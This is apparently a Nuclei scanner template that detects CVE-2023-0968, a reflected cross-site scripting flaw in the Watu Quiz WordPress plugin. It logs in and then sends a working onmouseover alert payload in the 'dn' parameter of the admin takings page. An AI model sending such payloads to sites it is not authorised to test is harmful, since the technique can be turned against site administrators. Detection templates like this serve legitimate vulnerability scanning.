id: CVE-2023-0968

info:
  name: Watu Quiz < 3.3.9.1 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The plugin does not sanitise and escape some parameters ((such as email, dn, date and points) before outputting then back in a page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin
  reference:
    - https://wpscan.com/vulnerability/29008d1a-62b3-4f40-b5a3-134455b01595
    - https://wordpress.org/plugins/watu/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-0968
    - https://plugins.trac.wordpress.org/browser/watu/trunk/views/takings.php#L31
  remediation: Fixed in version 3.3.9.1
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-0968
    cwe-id: CWE-79
  metadata:
    verified: "true"
  tags: wordpress,cve,cve2023,wp,wp-plugin,xss,watu,authenticated,wpscan

requests:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

      - |
        GET /wp-admin/admin.php?page=watu_takings&exam_id=1&dn="%2Fonmouseover%3Dalert(document.domain)%2F%2F HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(all_headers_2, "text/html")'
          - 'contains(body_2, "/onmouseover=alert(document.domain)//")'
          - 'contains(body_2, "Watu Quizzes")'
        condition: and